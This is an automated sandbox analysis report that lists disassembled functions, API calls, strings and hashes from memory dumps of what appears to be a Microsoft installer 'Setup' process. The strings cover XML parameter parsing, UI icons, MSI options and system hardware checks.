Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$FreeString$Path$CombineCreateException@8FileInstanceModuleNameRelativeThrow
String ID: CoCreateInstance(__uuidof(DOMDocument30)) failed with hr=%d$m_spDoc->get_documentElement() failed. Parse error is: %s$m_spDoc->loadXML() failed. Parse error is: %s
API String ID: 3627190661-2525052916
Opcode ID: a5a8a47722aa409837923eeabf071edee7c04f837b89776d56d388ed18a27541
Instruction ID: dd424bd96baef7788ea09933711363b3bd29733109cb65f563ed59ae1626d5c8
Opcode Fuzzy Hash: a5a8a47722aa409837923eeabf071edee7c04f837b89776d56d388ed18a27541
Instruction Fuzzy Hash: A3616272900209EFDB00DFE8CD84AEEB7B8AF19708F144559F161A7292D735DA45CF61

Function 6C8D5B82 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C8D5B8C
_memset.LIBCMT ref: 6C8D5BBB

Part of subcall function 6C8F8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6C9099FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6C8F8E6E

FindFirstFileW.KERNEL32(?,?,????), ref: 6C8D5BDA
FindNextFileW.KERNELBASE(?,?), ref: 6C8D5CA8
FindClose.KERNEL32(?), ref: 6C8D5CC1

Strings

????, xrefs: 6C8D5BC3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Find$File$AppendCloseFirstH_prolog3_NextPath_memset
String ID: ????
API String ID: 2365859831-1216582215
Opcode ID: 2c8515125e8572b53125d09b6559a0fb869ee941454d42691dc887ee4e17a4f5
Instruction ID: 877da4c78e35d0d11ffd8355cd8a1817bdaf8467a019cb7525e01364510bb0ba
Opcode Fuzzy Hash: 2c8515125e8572b53125d09b6559a0fb869ee941454d42691dc887ee4e17a4f5
Instruction Fuzzy Hash: F231D271808219DADF20AFA4CD8DBDE73B8AF10359F114AA6E445D6A90DB35DA89CB10

Function 6C90B390 Relevance: 50.5, APIs: 12, Strings: 16, Instructions: 1496
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 6C90B39A

Part of subcall function 6C90D446: __EH_prolog3_catch.LIBCMT ref: 6C90D44D
Part of subcall function 6C90D446: GetCommandLineW.KERNEL32(0000006C,6C90B3B6,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C90D48E
Part of subcall function 6C90D446: CoInitialize.OLE32(00000000), ref: 6C90D4EF

Part of subcall function 6C90D713: CreateThread.KERNEL32(00000000,00000000,6C9123E8,?,00000000,00000000), ref: 6C90D729

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C90988C: __EH_prolog3.LIBCMT ref: 6C909893
Part of subcall function 6C90988C: GetCommandLineW.KERNEL32(0000002C,6C90D52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C9098B4
Part of subcall function 6C90988C: PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6C90996E

Part of subcall function 6C8F4E70: __EH_prolog3.LIBCMT ref: 6C8F4E77
Part of subcall function 6C8F4E70: __CxxThrowException@8.LIBCMT ref: 6C8F4F68
Part of subcall function 6C8F4E70: ReadFile.KERNEL32(?,?,00000002,?,00000000,?,80000000,00000001,00000003,00000080,00000000,?,?,?,?,0000002C), ref: 6C8F4F7E
Part of subcall function 6C8F4E70: CloseHandle.KERNEL32(?), ref: 6C8F4FA1

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

Part of subcall function 6C8F5033: __EH_prolog3.LIBCMT ref: 6C8F503A
Part of subcall function 6C8F5033: __CxxThrowException@8.LIBCMT ref: 6C8F50B6

Part of subcall function 6C8F51C0: __EH_prolog3_catch.LIBCMT ref: 6C8F51C7
Part of subcall function 6C8F51C0: CoInitialize.OLE32(00000000), ref: 6C8F51DC

SysFreeString.OLEAUT32(?), ref: 6C90B471

Part of subcall function 6C90D01E: __EH_prolog3.LIBCMT ref: 6C90D025
Part of subcall function 6C90D01E: PathFileExistsW.SHLWAPI(?,6C8B61FC,graphics,?,00000054,6C90B48A,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6C90D0BE

Part of subcall function 6C8D59B8: __EH_prolog3.LIBCMT ref: 6C8D59BF

Part of subcall function 6C8D6083: __EH_prolog3_catch.LIBCMT ref: 6C8D608A

GetCommandLineW.KERNEL32(?,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml,?,?,00000738,6C8FFA6E,?), ref: 6C90B51F

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Part of subcall function 6C8CA378: __EH_prolog3.LIBCMT ref: 6C8CA37F

__CxxThrowException@8.LIBCMT ref: 6C90B50F

Part of subcall function 6C9214AA: KiUserExceptionDispatcher.NTDLL(?,?,6C91C129,00000C00,?,?,?,?,6C91C129,00000C00,6C93BA3C,6C9576D4,00000C00,00000020,6C8FF845,?), ref: 6C9214EC

Part of subcall function 6C8C3A16: __EH_prolog3.LIBCMT ref: 6C8C3A1D

GetThreadLocale.KERNEL32(?,passive,00000000), ref: 6C90B6C8

Part of subcall function 6C8F7889: __EH_prolog3.LIBCMT ref: 6C8F7890

Part of subcall function 6C8F7DB0: __EH_prolog3.LIBCMT ref: 6C8F7DB7

Part of subcall function 6C8F7C9E: __EH_prolog3.LIBCMT ref: 6C8F7CA5

Part of subcall function 6C8F7E78: __EH_prolog3.LIBCMT ref: 6C8F7E7F

Part of subcall function 6C8C43C4: __EH_prolog3.LIBCMT ref: 6C8C43CB

Part of subcall function 6C8C5E41: __EH_prolog3.LIBCMT ref: 6C8C5E48
Part of subcall function 6C8C5E41: PathFindFileNameW.SHLWAPI(?,?,?,0000000C,6C8C5E13,?,6C8F831D,?,0000000C,6C8C7D3D,?,00000000,?,?,6C8BAB18,00000008), ref: 6C8C5E83
Part of subcall function 6C8C5E41: PathFindExtensionW.SHLWAPI(?), ref: 6C8C5EA0

Part of subcall function 6C8F6DCB: GetCommandLineW.KERNEL32(38D98A99,?,?,00000000,?,?,?,?,?,ParameterInfo.xml,?,?,?,00000000,?,?), ref: 6C8F6E16

Part of subcall function 6C8F594B: __EH_prolog3.LIBCMT ref: 6C8F5952

CloseHandle.KERNEL32(?,?,?,?,OneInstance,?,00000000,?,ParameterInfo.xml,?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C90BED4

Part of subcall function 6C8FAE4A: __EH_prolog3.LIBCMT ref: 6C8FAE51

CloseHandle.KERNEL32(?,?,00000000,?,00000001,00000007,?,OneInstance,?,?,00000000,?,?,?,?,?), ref: 6C90BE22

Part of subcall function 6C8E6F61: __EH_prolog3.LIBCMT ref: 6C8E6F68

Part of subcall function 6C8FBE94: _free.LIBCMT ref: 6C8FBEBC
Part of subcall function 6C8FBE94: _free.LIBCMT ref: 6C8FBECD

CloseHandle.KERNEL32(?), ref: 6C90BF2E

Strings

OneInstance, xrefs: 6C90BDE2, 6C90BEAD
InvalidArguments, xrefs: 6C90BCA6, 6C90BD2B
ParameterInfo.xml, xrefs: 6C90B3CA, 6C90B3CF, 6C90B401, 6C90B4B9, 6C90B55B
CreateHelpUsage, xrefs: 6C90BAD7
!, xrefs: 6C90C884
Command-line option error: , xrefs: 6C90BCDF
passive, xrefs: 6C90B6B0
FactoryInitialization, xrefs: 6C90BA27
CreateUiMode, xrefs: 6C90C555
Parameterinfo.xml or UiInfo.xml has a #Loc that is not defined in LocalizeData.xml , xrefs: 6C90B4AB
CreateFilesInUser, xrefs: 6C90BC2A
%TEMP%\, xrefs: 6C90B7A8
PISemanticChecker, xrefs: 6C90B8D0
W, xrefs: 6C90BD13
Blocker, xrefs: 6C90C06D
#(loc.ids_wer_message), xrefs: 6C90B58E

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Path$CloseCommandException@8FileH_prolog3_catchHandleLineThrow$FindInitializeNameRelativeThread_free$CreateDispatcherExceptionExistsExtensionFreeLocaleModuleReadStringUser
String ID: !$#(loc.ids_wer_message)$%TEMP%\$Blocker$Command-line option error: $CreateFilesInUser$CreateHelpUsage$CreateUiMode$FactoryInitialization$InvalidArguments$OneInstance$PISemanticChecker$ParameterInfo.xml$Parameterinfo.xml or UiInfo.xml has a #Loc that is not defined in LocalizeData.xml $W$passive
API String ID: 5912831-280204926
Opcode ID: 5d9db8bb0ec6777c420896c18ba0bdd36d5b6dfb54068ee98168eb6e196aaba1
Instruction ID: 8cd951a7dd3585bc667bf864ada0fab9d9ca7eaa443a7ad30a48cbecb3fe1b66
Opcode Fuzzy Hash: 5d9db8bb0ec6777c420896c18ba0bdd36d5b6dfb54068ee98168eb6e196aaba1
Instruction Fuzzy Hash: 05E2797190025CDFCF21DFA8C944ADDBBB9AF19318F148599E418B7791CB30AA89CF61

Function 6396697A Relevance: 49.5, APIs: 16, Strings: 12, Instructions: 457
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 63966981

Part of subcall function 63951E75: __EH_prolog3.LIBCMT ref: 63951E7C
Part of subcall function 63951E75: GetThreadLocale.KERNEL32(?,00000004,63956734,0000004C,0000004C,63957142,?,00000000), ref: 63951E8E

CoCreateInstance.OLE32(63947980,00000000,00000017,63947970,?,?,00000068,639665A6,?,?,?,?,63962A30,?,00000000,?), ref: 639669AC
PathIsRelativeW.SHLWAPI(?,?,?,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000), ref: 63966A7F
PathFileExistsW.KERNELBASE(?,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271), ref: 63966A8C
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008), ref: 63966ABE
PathFileExistsW.SHLWAPI(?,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271), ref: 63966AC1
CoCreateInstance.OLE32(63947990,00000000,00000017,639479A0,?), ref: 63966B4C

Part of subcall function 6394C98C: GetThreadLocale.KERNEL32 ref: 6394C999

Part of subcall function 6394B93E: __EH_prolog3.LIBCMT ref: 6394B945

Part of subcall function 6395F21D: PathAppendW.SHLWAPI(00000000,00000000,?,00000105,?,?,80070057,80070057,6394C3AE), ref: 6395F241

VariantClear.OLEAUT32(?), ref: 63966BBD

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

PathIsRelativeW.SHLWAPI(?,?), ref: 63966BE8
PathFileExistsW.SHLWAPI(?), ref: 63966BF5
PathFileExistsW.KERNELBASE(?,?), ref: 63966C27
PathFileExistsW.KERNELBASE(?), ref: 63966C2A
VariantClear.OLEAUT32(?), ref: 63966C8E
__CxxThrowException@8.LIBCMT ref: 63966CAB
VariantClear.OLEAUT32(?), ref: 63966CED
VariantClear.OLEAUT32(?), ref: 63966DE9

Part of subcall function 6394CA39: __EH_prolog3.LIBCMT ref: 6394CA40

Strings

http://schemas.microsoft.com/SetupUI/2008/01/imui, xrefs: 63966C7A
^wu, xrefs: 63966A8C, 63966BF5
Stopping XML schema validation of UI information and continuing, xrefs: 639669FA, 63966B9A
Add to schema collection schema file - %s, xrefs: 63966C4D
Validation FAILED Reason:%s, xrefs: 63966D5F
CoCreateInstance of XMLSchemaCache60 failed with hr = 0x%x (%s), xrefs: 63966B7C
UIInfo.xml, xrefs: 63966D8C, 63966EC3
Loading file - %s, xrefs: 63966AF3
Validation FAILED Err on line: %d @column: %dReason:%s SrcText:%s, xrefs: 63966E8B
CoCreateInstance of DOMDocument60 failed with hr = 0x%x (%s), xrefs: 639669DC
UiInfo.xml, xrefs: 63966A65
SetupUi.xsd, xrefs: 63966BD7

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Path$ExistsFile$H_prolog3$ClearVariant$CreateInstanceLocaleRelativeThread$AppendException@8Throw
String ID: Validation FAILED Reason:%s$Validation FAILED Err on line: %d @column: %dReason:%s SrcText:%s$Add to schema collection schema file - %s$CoCreateInstance of DOMDocument60 failed with hr = 0x%x (%s)$CoCreateInstance of XMLSchemaCache60 failed with hr = 0x%x (%s)$Loading file - %s$SetupUi.xsd$Stopping XML schema validation of UI information and continuing$UIInfo.xml$UiInfo.xml$http://schemas.microsoft.com/SetupUI/2008/01/imui$^wu
API String ID: 3881019808-1965720155
Opcode ID: e8a044614c746befe8d70f51de014bb908052a8ffa0293970dec286d3ae47222
Instruction ID: 2da4ac5b64a3baad79b96c9a960ec5711e37c0604bea002b5ac38ec2f571ab2f
Opcode Fuzzy Hash: e8a044614c746befe8d70f51de014bb908052a8ffa0293970dec286d3ae47222
Instruction Fuzzy Hash: 940237B1D01249EFDF00DBE8C944ADDBBB8AF5A718F244598E510BB242D735EA05CF61

Function 63952B11 Relevance: 40.7, APIs: 11, Strings: 12, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 63952B1B

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Part of subcall function 6394D76F: SysFreeString.OLEAUT32(00000000), ref: 6394D7CA

PathIsRelativeW.SHLWAPI(?,00000001,?,000000FF,?,?,?,?,00000001,?,?,?,000000FF,00000088,63966F88,?), ref: 63952D9C
PathFileExistsW.SHLWAPI(?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 63952DAF
PathFileExistsW.KERNELBASE(00000005,?,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008), ref: 63952DF0
PathFileExistsW.KERNELBASE(00000005,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 63952E0F
PathIsRelativeW.SHLWAPI(00000001,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 63952E2F
PathFileExistsW.SHLWAPI(00000001,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 63952E40
__CxxThrowException@8.LIBCMT ref: 63952EBB
PathFileExistsW.KERNELBASE(00000005,00000001,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008), ref: 63952EEF

Part of subcall function 6395F21D: PathAppendW.SHLWAPI(00000000,00000000,?,00000105,?,?,80070057,80070057,6394C3AE), ref: 6395F241

PathFileExistsW.KERNELBASE(00000005,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 63952F0E

Part of subcall function 639683FD: _memcpy_s.LIBCMT ref: 6396844E

RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000), ref: 6395309C

Strings

Uninstall, xrefs: 63952CC9
^wu, xrefs: 63952DA9
%, xrefs: 63952FCC
Watermark, xrefs: 63952BC3
Caption, xrefs: 63952C33
Default, xrefs: 63952C64
HeaderImage, xrefs: 63952B59
CreateLayout, xrefs: 63952CD0
UninstallPatch, xrefs: 63952CD7
WizardImages, xrefs: 63952B28
Repair, xrefs: 63952CC2
Install, xrefs: 63952CBB

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Path$ExistsFile$H_prolog3$Relative$AppendExceptionException@8FreeRaiseStringThrow_memcpy_s
String ID: %$Caption$CreateLayout$Default$HeaderImage$Install$Repair$Uninstall$UninstallPatch$Watermark$WizardImages$^wu
API String ID: 2164894574-1264716263
Opcode ID: 78df54d37d0785e3c9e29d5ae4c5a36563b5931243fd3a55c34b4e8a807d74f8
Instruction ID: 9395950c5b37c4e1dd48bcde6f9f779218b9d9e128e4a8d46298c3289b4c79c0
Opcode Fuzzy Hash: 78df54d37d0785e3c9e29d5ae4c5a36563b5931243fd3a55c34b4e8a807d74f8
Instruction Fuzzy Hash: 35124C7180424DEFDF00DFA8C984ADDBBB8AF1A728F148155F464AB281D734DA59CF61

Function 6C9009E3 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 228
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9009ED

Part of subcall function 6C8C5727: GetModuleHandleW.KERNEL32(kernel32.dll,?,6C8C5782,00000000,6C8F831D), ref: 6C8C5731
Part of subcall function 6C8C5727: GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 6C8C5741

GetLastError.KERNEL32 ref: 6C900A27
GetLastError.KERNEL32 ref: 6C900A82
RegOpenKeyExW.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020019,?,?,00000000,?,Failed to record NumberOfProcessor), ref: 6C900ADE
RegQueryValueExW.KERNEL32(?,~MHz,00000000,00000000,?,?), ref: 6C900B0D
RegQueryValueExW.ADVAPI32(?,~Mhz,00000000,00000000,?,?), ref: 6C900B2D
RegQueryValueExW.ADVAPI32(?,~mhz,00000000,00000000,?,?), ref: 6C900B4D
RegCloseKey.KERNEL32(?), ref: 6C900B55
GetLastError.KERNEL32 ref: 6C900B75
_memset.LIBCMT ref: 6C900BCC
GlobalMemoryStatusEx.KERNEL32(?,?,?,6C8BA738,?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C900BEA
GetLastError.KERNEL32(?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C900C15

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

GetLastError.KERNEL32(?,GlobalMemoryStatusEx failed,?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C900C60

Part of subcall function 6C901236: __EH_prolog3.LIBCMT ref: 6C90123D

Strings

Failed to record SystemMemory, xrefs: 6C900C2B
~Mhz, xrefs: 6C900B22
GlobalMemoryStatusEx failed, xrefs: 6C900C4F
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 6C900AD4
~MHz, xrefs: 6C900AF9
~mhz, xrefs: 6C900B42
Failed to record NumberOfProcessor, xrefs: 6C900A9C, 6C900B8F
Failed to record CpuArchitecture, xrefs: 6C900A41

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorLast$QueryValue$H_prolog3$AddressCloseGlobalH_prolog3_HandleMemoryModuleOpenProcStatus_memset
String ID: Failed to record CpuArchitecture$Failed to record NumberOfProcessor$Failed to record SystemMemory$GlobalMemoryStatusEx failed$HARDWARE\DESCRIPTION\System\CentralProcessor\0$~MHz$~Mhz$~mhz
API String ID: 2659457873-2309824155
Opcode ID: 3a5852ab96209497073f853f575c5c17c9880c4eccef9fe62df9df8bfaf414d4
Instruction ID: 05650480a991b96333a746642ea1cbca141b81da66532ea4c848229f36f3071c
Opcode Fuzzy Hash: 3a5852ab96209497073f853f575c5c17c9880c4eccef9fe62df9df8bfaf414d4
Instruction Fuzzy Hash: AB819D32A00248EBDB20CFE5CD45FDEBBB9AF05358F20462AE515EB690D774DA05DB90

Function 6C90D01E Relevance: 35.1, APIs: 3, Strings: 17, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C90D025

Part of subcall function 6C8C5D3F: __EH_prolog3.LIBCMT ref: 6C8C5D46
Part of subcall function 6C8C5D3F: GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104,?,6C8F831D,00000000), ref: 6C8C5D93

Part of subcall function 6C8F8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6C9099FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6C8F8E6E

PathFileExistsW.SHLWAPI(?,6C8B61FC,graphics,?,00000054,6C90B48A,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6C90D0BE
__CxxThrowException@8.LIBCMT ref: 6C90D16E

Part of subcall function 6C8F8F73: PathRemoveFileSpecW.SHLWAPI(00000000,2806C750,00000010,80004005,6C8C5DB8,6C8FF845,00000010,?,6C8F831D,00000000), ref: 6C8F8F84

Strings

stop.ico, xrefs: 6C90D060
Graphic file %s does not exists, xrefs: 6C90D113
SysReqNotMet.ico, xrefs: 6C90D06E
Rotate6.ico, xrefs: 6C90D098
Setup.ico, xrefs: 6C90D044
warn.ico, xrefs: 6C90D059
Rotate8.ico, xrefs: 6C90D0A6
Rotate4.ico, xrefs: 6C90D08A
Print.ico, xrefs: 6C90D04B
Save.ico, xrefs: 6C90D052
SysReqMet.ico, xrefs: 6C90D067
Rotate1.ico, xrefs: 6C90D075
graphics, xrefs: 6C90D037
Rotate2.ico, xrefs: 6C90D07C
Rotate3.ico, xrefs: 6C90D083
Rotate7.ico, xrefs: 6C90D09F
Rotate5.ico, xrefs: 6C90D091

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FilePath$H_prolog3$AppendException@8ExistsModuleNameRemoveSpecThrow
String ID: Graphic file %s does not exists$Print.ico$Rotate1.ico$Rotate2.ico$Rotate3.ico$Rotate4.ico$Rotate5.ico$Rotate6.ico$Rotate7.ico$Rotate8.ico$Save.ico$Setup.ico$SysReqMet.ico$SysReqNotMet.ico$graphics$stop.ico$warn.ico
API String ID: 419085990-1965610755
Opcode ID: 00a38f29a76d50467e36f4aeed864fb76b272e6fb682117a31388365bc056ce0
Instruction ID: 21f2e7ff36915f497d4910142499a70467a77325b449ad7df85d1ca9269ada81
Opcode Fuzzy Hash: 00a38f29a76d50467e36f4aeed864fb76b272e6fb682117a31388365bc056ce0
Instruction Fuzzy Hash: C04125B29006199BDB24DFE4CA46BDEBB75BF14304FA04819D424BBB50C7309A09CB91

Function 6C8DA82C Relevance: 33.9, APIs: 2, Strings: 17, Instructions: 638
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C8DA833

Part of subcall function 6C8D1D3D: __EH_prolog3.LIBCMT ref: 6C8D1D44
Part of subcall function 6C8D1D3D: __CxxThrowException@8.LIBCMT ref: 6C8D1E11

__CxxThrowException@8.LIBCMT ref: 6C8DAD1D

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Strings

IsPresent, xrefs: 6C8DA8B9
Compressed items need to have URL and CompressedDownloadSize authored., xrefs: 6C8DADCE
ApplicableIf, xrefs: 6C8DA923
CustomErrorHandling, xrefs: 6C8DA9F5
ParameterInfo.xml, xrefs: 6C8DACC9, 6C8DADDC, 6C8DAECA, 6C8DAF3B
ActionTable, xrefs: 6C8DA989
RepairOverride, xrefs: 6C8DAE06
schema validation failure: wrong number of MSI child nodes!, xrefs: 6C8DACBE
MSIUninstallOptions, xrefs: 6C8DABE3
ProductCode, xrefs: 6C8DAAFA
MSIRepairOptions, xrefs: 6C8DAC2E
schema validation failure: Product Code cannot be emoty., xrefs: 6C8DAF2D
schema validation failure: MSI, AgileMSI and AgileMSP do not support RepairOverride or UninstallOverride child elements!, xrefs: 6C8DAEBC
Compressed, xrefs: 6C8DAD22, 6C8DAD27, 6C8DAD64
MSIOptions, xrefs: 6C8DAB9B
<, xrefs: 6C8DAF6B
UninstallOverride, xrefs: 6C8DAE44

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
